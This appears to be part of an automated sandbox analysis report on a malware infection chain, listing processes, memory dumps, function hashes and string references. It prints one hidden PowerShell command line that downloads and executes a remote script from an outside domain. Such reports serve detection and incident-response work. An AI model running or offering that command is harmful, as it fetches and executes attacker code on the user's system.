Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	09:09:05
Start date:	25/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://dma.sportstalk-musiclover.com/singl7.pst'))"
Imagebase:	0xc80000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	09:09:06
Start date:	25/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	09:10:30
Start date:	25/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe"
Imagebase:	0xc80000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 00007FFD9B7D33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1708995412.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b7d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86edf138029f4b6df4f319f08bbe8afee401992aae041ce2c8b479a8aa907b9b
Instruction ID: 7d18de3127f3f1dd01fd625624dbb9d3bcbd9e505403495affb5961ee0d50b6a
Opcode Fuzzy Hash: 86edf138029f4b6df4f319f08bbe8afee401992aae041ce2c8b479a8aa907b9b
Instruction Fuzzy Hash: 4D01A73020CB0C4FD748EF0CE051AA5B3E0FB85360F10066DE58AC36A1DA32E882CB41

Analysis Process: mshta.exePID: 3844, Parent PID: 2800COMMON

Executed Functions

Function 000002059E1C10A0 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000003.1800829494.000002059E1C1000.00000010.00000800.00020000.00000000.sdmp, Offset: 000002059E1C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_2059e1c1000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67018309a147a89e998d3728c0dfb2112279536e5b47b0a94d7f93674794cbbf
Instruction ID: 9dfa142d23b3fae64ccc735d4b057d6031273d93375af2801a8a8b8206519c66
Opcode Fuzzy Hash: 67018309a147a89e998d3728c0dfb2112279536e5b47b0a94d7f93674794cbbf
Instruction Fuzzy Hash: 1A41686121DF8E8FFB99966C941E7513BE1EF66310F1905DAC085CF2E3D12A8C41C781

Function 000002059E1C10AB Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000003.1800829494.000002059E1C1000.00000010.00000800.00020000.00000000.sdmp, Offset: 000002059E1C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_2059e1c1000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bc73aa3d23e2871f536d547a4137b2f2971a8f5cfe8d9173bd04d867febdfff
Instruction ID: 1d7f1314a00baa6614de7eadec949cde4dd947ecc866ffa48f7ab1da08ed3d82
Opcode Fuzzy Hash: 6bc73aa3d23e2871f536d547a4137b2f2971a8f5cfe8d9173bd04d867febdfff
Instruction Fuzzy Hash: 70417771609B8D8FFB899768E41E7503BE1EF66310F1901DAC489CF2A3D1298C81CB81

Function 000002059AFE0FC1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000003.1800890511.000002059AFE0000.00000010.00000800.00020000.00000000.sdmp, Offset: 000002059AFE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_2059afe0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction ID: b639acf9b907e80582ee3a480e0f4bd195b5753a9d77e2c05c2e2ec8add3640b
Opcode Fuzzy Hash: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction Fuzzy Hash: D99002094D595A95D41452D10C4935D5040A388250FE45880541690146D44D02A615E2

Function 000002059AFE0F99 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000003.1800890511.000002059AFE0000.00000010.00000800.00020000.00000000.sdmp, Offset: 000002059AFE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_2059afe0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction ID: b639acf9b907e80582ee3a480e0f4bd195b5753a9d77e2c05c2e2ec8add3640b
Opcode Fuzzy Hash: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction Fuzzy Hash: D99002094D595A95D41452D10C4935D5040A388250FE45880541690146D44D02A615E2

Function 000002059AFE0F89 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000003.1800890511.000002059AFE0000.00000010.00000800.00020000.00000000.sdmp, Offset: 000002059AFE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_2059afe0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction ID: b639acf9b907e80582ee3a480e0f4bd195b5753a9d77e2c05c2e2ec8add3640b
Opcode Fuzzy Hash: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction Fuzzy Hash: D99002094D595A95D41452D10C4935D5040A388250FE45880541690146D44D02A615E2

Function 000002059AFE0F79 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000003.1800890511.000002059AFE0000.00000010.00000800.00020000.00000000.sdmp, Offset: 000002059AFE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_2059afe0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction ID: b639acf9b907e80582ee3a480e0f4bd195b5753a9d77e2c05c2e2ec8add3640b
Opcode Fuzzy Hash: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction Fuzzy Hash: D99002094D595A95D41452D10C4935D5040A388250FE45880541690146D44D02A615E2

Analysis Process: powershell.exePID: 2996, Parent PID: 3844COMMON

Executed Functions

Function 00007FFD9B123A05 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1795859198.00007FFD9B120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b120000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction ID: 5004c912797fa5de54a08eeb6e6b4a8434c1f80db3f3e8eee4f15695996a7ab3
Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction Fuzzy Hash: 3201677121CB0C4FD748EF0CE451AA5B7E0FB95364F10056DE58AC36A5D636E881CB45

Function 00007FFD9B1F04D8 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1796256567.00007FFD9B1F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B1F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b1f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21226aca87e00a3476a00580fa172f73c6c7285a6805dcf04da4a5d5916199b0
Instruction ID: 2629795f65d7e4243dc771453b6d1c4c77407d142c25f6a22bd10cc854d2ec2a
Opcode Fuzzy Hash: 21226aca87e00a3476a00580fa172f73c6c7285a6805dcf04da4a5d5916199b0
Instruction Fuzzy Hash: 6BE09223F0E86E0EEBA1E998282C1B86681DF5962570501B6E91CE31A1DD0499108281

Non-executed Functions

Function 00007FFD9B123E05 Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1795859198.00007FFD9B120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b120000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9461f6e70688bd5f76c3924c8cc7c85e0411677ca27c2754c7ddb79e196a3487
Instruction ID: 48e3497b0a3e61ad953fea3b4bc9450efa8f069d8ad4dbc22fc9d580d567a410
Opcode Fuzzy Hash: 9461f6e70688bd5f76c3924c8cc7c85e0411677ca27c2754c7ddb79e196a3487
Instruction Fuzzy Hash: 2E51C613B0F7D64EE72267BCB8B54E53B70EF5366870A01F3C5D85E0A7DD14294A8262

Analysis Process: powershell.exePID: 7176, Parent PID: 2996COMMON

Execution Graph

Execution Coverage:	4.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.4%
Total number of Nodes:	336
Total number of Limit Nodes:	18

Executed Functions

Function 077D92A8 Relevance: 1.6, APIs: 1, Instructions: 57nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 077D931E

Memory Dump Source

Source File: 00000006.00000002.2676123374.00000000077D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77d0000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 0e6ae7ecfc57d3a3093cd1aaabfa54a05b8f9311c1cb3c2d19755f702a7dcf97
Instruction ID: 48058dcf88928c7e24d27cd9b728eace7c35eeac161cc2517e74dd7ee88d9639
Opcode Fuzzy Hash: 0e6ae7ecfc57d3a3093cd1aaabfa54a05b8f9311c1cb3c2d19755f702a7dcf97
Instruction Fuzzy Hash: AC111AB1D002099FDB10DFAAC485BEEFBF8EF58324F14842AD519A7240CB746945CFA1

Function 077D92B0 Relevance: 1.6, APIs: 1, Instructions: 54nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 077D931E

Memory Dump Source

Source File: 00000006.00000002.2676123374.00000000077D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77d0000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: ec570b589aeb0157c252cc3217ed60333236c6fcfaf70d085b52b58f3066bfa2
Instruction ID: 1297a237c3a89330f50131bd90e5971b6624cce106f06513aa23d07e04d9ba41
Opcode Fuzzy Hash: ec570b589aeb0157c252cc3217ed60333236c6fcfaf70d085b52b58f3066bfa2
Instruction Fuzzy Hash: 3F11E7B1D002099EDB10DFAAC485ADEFBF8EF98324F54842AD519A7240CB74A945CFA5

Function 04D7B580 Relevance: .9, Instructions: 900COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2610933736.0000000004D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4d70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21712c534b885fb37c9715da03c6e930651402c2d95667c920a6b307f8f47fce
Instruction ID: e69f3d41a707f64dd852caaa3db87aa41d541349f067d6d1e2cab7f989bc6cc0
Opcode Fuzzy Hash: 21712c534b885fb37c9715da03c6e930651402c2d95667c920a6b307f8f47fce
Instruction Fuzzy Hash: E6820774A012089FDB14DFA8D484AAEFBF2FF88314F25855AE855AB351D731ED81CB90

Function 077E62F3 Relevance: .5, Instructions: 539COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2676237741.00000000077E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb5175fcb7bebb67ef21fe2b288bc290f77de7749d54746d1b434cbcc0696716
Instruction ID: 1b6c141b4b9841e72400fcc2f3273df1b430a8b64ea931cf7b688df2914365f6
Opcode Fuzzy Hash: bb5175fcb7bebb67ef21fe2b288bc290f77de7749d54746d1b434cbcc0696716
Instruction Fuzzy Hash: 5752D5B4A002288FCB60DF68C884B9ABBB5FB49301F1095E9D54DAB355DB30AEC5CF54

Function 077C1170 Relevance: .2, Instructions: 239COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2675965538.00000000077C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ac1a6812768fbea92b06708073c0a6021f22bededf81c4f3b356ba027946721
Instruction ID: 4a882c1aed1b623fea9f76872519a4e341e5e6b926f991ff9c845888d05005a4
Opcode Fuzzy Hash: 1ac1a6812768fbea92b06708073c0a6021f22bededf81c4f3b356ba027946721
Instruction Fuzzy Hash: BEA1E0B4A05218CFDB14CFA9D894BADB7F2BB8A340F50816ED509AB356DB345989CF00

Function 077C1180 Relevance: .2, Instructions: 234COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2675965538.00000000077C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8033b9bc0fa9bc4d36a0f62a176c9fea14f79a090461dc2b4191139c8dc97dc0
Instruction ID: a55da42c9d0f95cfeb4d67a5c2ed64462a2e8390f7f1ed5ab6ff3a5605a43fbb
Opcode Fuzzy Hash: 8033b9bc0fa9bc4d36a0f62a176c9fea14f79a090461dc2b4191139c8dc97dc0
Instruction Fuzzy Hash: C2A1DFB4E05218CFDB14CFA9D894BADB7F2BB4A344F50816ED509AB356DB349989CF00

Function 077C1270 Relevance: .2, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2675965538.00000000077C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d37ce734aecad4ec4d1d53f0f5284cff12b7809788705f00661a55d41e1f2c9
Instruction ID: 5105c7b7b951b2ad547bc1985210a9a53165b4dfa5252b7cffdcb28eb8ddeb4a
Opcode Fuzzy Hash: 8d37ce734aecad4ec4d1d53f0f5284cff12b7809788705f00661a55d41e1f2c9
Instruction Fuzzy Hash: 4AA1C0B4E05218CFDB14CFA9D484BA9B7F2FB8A344F50916ED509AB356DB349985CF00

Function 077CCA04 Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2675965538.00000000077C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2e72ba82e3216d0589cd457d737cfb407ae19dacf2315f7b5d851dc1697f411
Instruction ID: 1d409532c1aefd0779d8a741560940dd6713e690c8ec38829fa3ddd6568a7096
Opcode Fuzzy Hash: a2e72ba82e3216d0589cd457d737cfb407ae19dacf2315f7b5d851dc1697f411
Instruction Fuzzy Hash: EA91F2B4E05218CFDB14CFA9D894BA9B7F2FB4A340F5081AED509AB356DB349985CF00

Function 077C14AD Relevance: .2, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2675965538.00000000077C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30841eb410f47f68faa1c9edc7c8f2f08924c42943596ae3e62a469352232729
Instruction ID: caaa4b69e9d21a2bd8f5108519bb0c07b3bc2c90a04933fc9b86403bef76a0cf
Opcode Fuzzy Hash: 30841eb410f47f68faa1c9edc7c8f2f08924c42943596ae3e62a469352232729
Instruction Fuzzy Hash: D791C1B4E05218CFDB14CFA9D494BA9B7F2FB4A344F5081AED509AB356DB349985CF00

Function 077EB548 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2676237741.00000000077E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5fa2d7c19bcdab0e4d32d9737390b9d182f423c7b554308630b556fa95346ac
Instruction ID: 71d6227dc9abf8e83a668eac11811bed2bb6bb4785b534758a6b00f3de9cd5e7
Opcode Fuzzy Hash: e5fa2d7c19bcdab0e4d32d9737390b9d182f423c7b554308630b556fa95346ac
Instruction Fuzzy Hash: 9D4122B1E056189BDB19CF6BD84059AFBF7AFC9340F04C1FAD548AB265DB304A828F51

Function 07AE4350 Relevance: 36.4, Strings: 28, Instructions: 1437COMMON

Download Yara Rule

Strings

4'dq, xrefs: 07AE4D57
4'dq, xrefs: 07AE50E1
(ffl, xrefs: 07AE4728
$dq, xrefs: 07AE4D08
4'dq, xrefs: 07AE5307
4'dq, xrefs: 07AE4D63
x.Wk, xrefs: 07AE489A
$dq, xrefs: 07AE4CFA
$dq, xrefs: 07AE4EF7
4'dq, xrefs: 07AE4852
$dq, xrefs: 07AE5233
$dq, xrefs: 07AE4CD5
$dq, xrefs: 07AE52D3
(ffl, xrefs: 07AE4732
$dq, xrefs: 07AE4F03
$dq, xrefs: 07AE52DF
$dq, xrefs: 07AE4EDB
4'dq, xrefs: 07AE50D5
$dq, xrefs: 07AE5254
(ffl, xrefs: 07AE4542
$ak, xrefs: 07AE4BC9
(ffl, xrefs: 07AE454C
$dq, xrefs: 07AE528E
$dq, xrefs: 07AE527E
4'dq, xrefs: 07AE4F26
4'dq, xrefs: 07AE485E
4'dq, xrefs: 07AE4F1A
4'dq, xrefs: 07AE52FB

Memory Dump Source

Source File: 00000006.00000002.2679169572.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ae0000_powershell.jbxd

Similarity

API ID:
String ID: $ak$(ffl$(ffl$(ffl$(ffl$4'dq$4'dq$4'dq$4'dq$4'dq$4'dq$4'dq$4'dq$4'dq$4'dq$x.Wk$$dq$$dq$$dq$$dq$$dq$$dq$$dq$$dq$$dq$$dq$$dq$$dq
API String ID: 0-808753519
Opcode ID: 6c5e0708150debab80ee3a38a0c37a79229aa4fe670fd29cb410542dda9209fe
Instruction ID: d077af1cce1fbae1ccfe1138df892a547b98b3eaddb6ae872ec721ef0a431a34
Opcode Fuzzy Hash: 6c5e0708150debab80ee3a38a0c37a79229aa4fe670fd29cb410542dda9209fe
Instruction Fuzzy Hash: 9CB206B1B04245DFDB14CFA9D840A6ABBFAAFC9314F24C06AE9158B751DB31DC41CB91

Function 075D5080 Relevance: 23.9, Strings: 18, Instructions: 1429COMMON

Download Yara Rule

Strings

tPdq, xrefs: 075D77FA
-Wk, xrefs: 075D670F
(ffl, xrefs: 075D628A
x.Wk, xrefs: 075D66BE
,FXk, xrefs: 075D60E6
4'dq, xrefs: 075D840F
tPdq, xrefs: 075D77EE
4'dq, xrefs: 075D64CA
4'dq, xrefs: 075D64E0
4'dq, xrefs: 075D8403
84dl, xrefs: 075D7799
(odq, xrefs: 075D85C1
84dl, xrefs: 075D77A3
4'dq, xrefs: 075D6584
4'dq, xrefs: 075D8131
(odq, xrefs: 075D85B1
4'dq, xrefs: 075D813D
4'dq, xrefs: 075D656E

Memory Dump Source

Source File: 00000006.00000002.2674865150.00000000075D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_75d0000_powershell.jbxd

Similarity

API ID:
String ID: (ffl$(odq$(odq$,FXk$4'dq$4'dq$4'dq$4'dq$4'dq$4'dq$4'dq$4'dq$84dl$84dl$tPdq$tPdq$x.Wk$-Wk
API String ID: 0-4196141721
Opcode ID: 00b6adf129f05ba2b230a680bf9dc806b30bfb2b4649c91fedc22db17ad75a69
Instruction ID: e48a685d1534303e876ae521a908ec775867b5d5b0843d9dd73a5029828893c6
Opcode Fuzzy Hash: 00b6adf129f05ba2b230a680bf9dc806b30bfb2b4649c91fedc22db17ad75a69
Instruction Fuzzy Hash: CEE26E74A012148FDB64DB58C845BAEBBB2FF89304F1081D9E909AB351DB75EE81CF91

Function 075D40C7 Relevance: 13.7, Strings: 10, Instructions: 1212
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(ffl, xrefs: 075D4AA5
4'dq, xrefs: 075D3E06
4'dq, xrefs: 075D3E99
(ffl, xrefs: 075D3BD3
(ffl, xrefs: 075D4475
x.Wk, xrefs: 075D3FD9
-Wk, xrefs: 075D4027
,FXk, xrefs: 075D48BD
,FXk, xrefs: 075D3A2F
,FXk, xrefs: 075D4270

Memory Dump Source

Source File: 00000006.00000002.2674865150.00000000075D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_75d0000_powershell.jbxd

Similarity

API ID:
String ID: (ffl$(ffl$(ffl$,FXk$,FXk$,FXk$4'dq$4'dq$x.Wk$-Wk
API String ID: 0-970352782
Opcode ID: d9557d5ca4c53b6e0a638706e841be94effe1dda0c28014750bbbdd37bc4d94a
Instruction ID: 2bf5d2c311297b0a36b82b51f91d58b9ede55df97c76d5803bc50025c548c077
Opcode Fuzzy Hash: d9557d5ca4c53b6e0a638706e841be94effe1dda0c28014750bbbdd37bc4d94a
Instruction Fuzzy Hash: E5C24FB4A002148FDB64DB58C851BE9BBB2FF85304F1481E9DA09AB751CB71ED82CF95

Function 075D3128 Relevance: 11.0, Strings: 8, Instructions: 963
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'dq, xrefs: 075D3E06
4'dq, xrefs: 075D3E99
(ffl, xrefs: 075D3BD3
x.Wk, xrefs: 075D3FD9
-Wk, xrefs: 075D4027
4'dq, xrefs: 075D3EA5
4'dq, xrefs: 075D3E1C
,FXk, xrefs: 075D3A2F

Memory Dump Source

Source File: 00000006.00000002.2674865150.00000000075D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_75d0000_powershell.jbxd

Similarity

API ID:
String ID: (ffl$,FXk$4'dq$4'dq$4'dq$4'dq$x.Wk$-Wk
API String ID: 0-3680909063
Opcode ID: 096066a16c857962cde4aa32e5c0bd21c39491fbb0f924cdab9422c7a7583cdd
Instruction ID: 2fd1dd90d6b4f24cf43eaf9f8e100896c66abfe7d4794033b87f0772471be31e
Opcode Fuzzy Hash: 096066a16c857962cde4aa32e5c0bd21c39491fbb0f924cdab9422c7a7583cdd
Instruction Fuzzy Hash: FCA252B4A00218CFDB64DB18C951BE9BBB2FF85304F1085E9DA09AB751CB719D82CF95

Function 07AECF9C Relevance: 7.7, Strings: 6, Instructions: 239
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'dq, xrefs: 07AED1A5
x.Wk, xrefs: 07AED2B8
4'dq, xrefs: 07AED249
-Wk, xrefs: 07AED309
4'dq, xrefs: 07AED25F
4'dq, xrefs: 07AED1BB

Memory Dump Source

Source File: 00000006.00000002.2679169572.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ae0000_powershell.jbxd

Similarity

API ID:
String ID: 4'dq$4'dq$4'dq$4'dq$x.Wk$-Wk
API String ID: 0-774161434
Opcode ID: 8424293d9e08be88540243c8d68f5fda7d0330742d2a36dea03d033315c9f21d
Instruction ID: 92fefe1a3e883fb501e68d64de4d89734192b029ca744217c7a1dafd70c6db5d
Opcode Fuzzy Hash: 8424293d9e08be88540243c8d68f5fda7d0330742d2a36dea03d033315c9f21d
Instruction Fuzzy Hash: 73B19D74B003199FDB14DB68C881BAEBBB2FF85300F508599E5096B791CB759D82CF92

Function 07AE1F20 Relevance: 7.6, Strings: 6, Instructions: 140
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

<,Zk, xrefs: 07AE203F
4'dq, xrefs: 07AE207A
$dq, xrefs: 07AE1F32
$dq, xrefs: 07AE1F61
4'dq, xrefs: 07AE206E
$dq, xrefs: 07AE1F53

Memory Dump Source

Source File: 00000006.00000002.2679169572.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ae0000_powershell.jbxd

Similarity

API ID:
String ID: 4'dq$4'dq$<,Zk$$dq$$dq$$dq
API String ID: 0-4221848864
Opcode ID: 8edfff166e3deb58305e6ba2d5450f3be6b9396303a8694cd36e09fcb81f97fc
Instruction ID: f346138ab72efb3b00404aabea15b334f454c63a9e15bc2631d893be0923a1b7
Opcode Fuzzy Hash: 8edfff166e3deb58305e6ba2d5450f3be6b9396303a8694cd36e09fcb81f97fc
Instruction Fuzzy Hash: E8412DB371821A8FD7259B69D841A66BBAFAFC5320F24806BD615CB2D1DF31CC41C791

Function 07AE490D Relevance: 6.7, Strings: 5, Instructions: 475COMMON

Download Yara Rule

Strings

(ffl, xrefs: 07AE4542
x.Wk, xrefs: 07AE489A
4'dq, xrefs: 07AE4852
(ffl, xrefs: 07AE4728
h2Yk, xrefs: 07AE496C

Memory Dump Source

Source File: 00000006.00000002.2679169572.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ae0000_powershell.jbxd

Similarity

API ID:
String ID: (ffl$(ffl$4'dq$h2Yk$x.Wk
API String ID: 0-2262983239
Opcode ID: b89dd00d526dd7e962a45c0cacd44c8cb7640035f539c5f81f8da1df6110fe93
Instruction ID: 0c4701cc76a32092733c2c372c6fdadb0ae10c28dae78bceff543ebead603b64
Opcode Fuzzy Hash: b89dd00d526dd7e962a45c0cacd44c8cb7640035f539c5f81f8da1df6110fe93
Instruction Fuzzy Hash: 00125BB4A01245DFDB14CF98C481E69BBBAAF89304F25C069F915AB755CB32EC42CB91

Function 07AE4331 Relevance: 5.5, Strings: 4, Instructions: 470COMMON

Download Yara Rule

Strings

(ffl, xrefs: 07AE4542
x.Wk, xrefs: 07AE489A
4'dq, xrefs: 07AE4852
(ffl, xrefs: 07AE4728

Memory Dump Source

Source File: 00000006.00000002.2679169572.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ae0000_powershell.jbxd

Similarity

API ID:
String ID: (ffl$(ffl$4'dq$x.Wk
API String ID: 0-1741122386
Opcode ID: a6d5f55d94dfe15b6dec3c0d3415fc7f6e17da6636177e88cce44a6b4186171e
Instruction ID: abfcdbc3dbe1b7e258f48e87d4d0063fb2bf48377d4581385fbbb0af21ab1fd3
Opcode Fuzzy Hash: a6d5f55d94dfe15b6dec3c0d3415fc7f6e17da6636177e88cce44a6b4186171e
Instruction Fuzzy Hash: 70125CB4A01245DFDB14CF98C481A6ABBBABFC9305F15C06AF9259B755CB32EC42CB41

Function 07AE1F05 Relevance: 2.6, Strings: 2, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$dq, xrefs: 07AE1F32
$dq, xrefs: 07AE1F53

Memory Dump Source

Source File: 00000006.00000002.2679169572.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ae0000_powershell.jbxd

Similarity

API ID:
String ID: $dq$$dq
API String ID: 0-2340669324
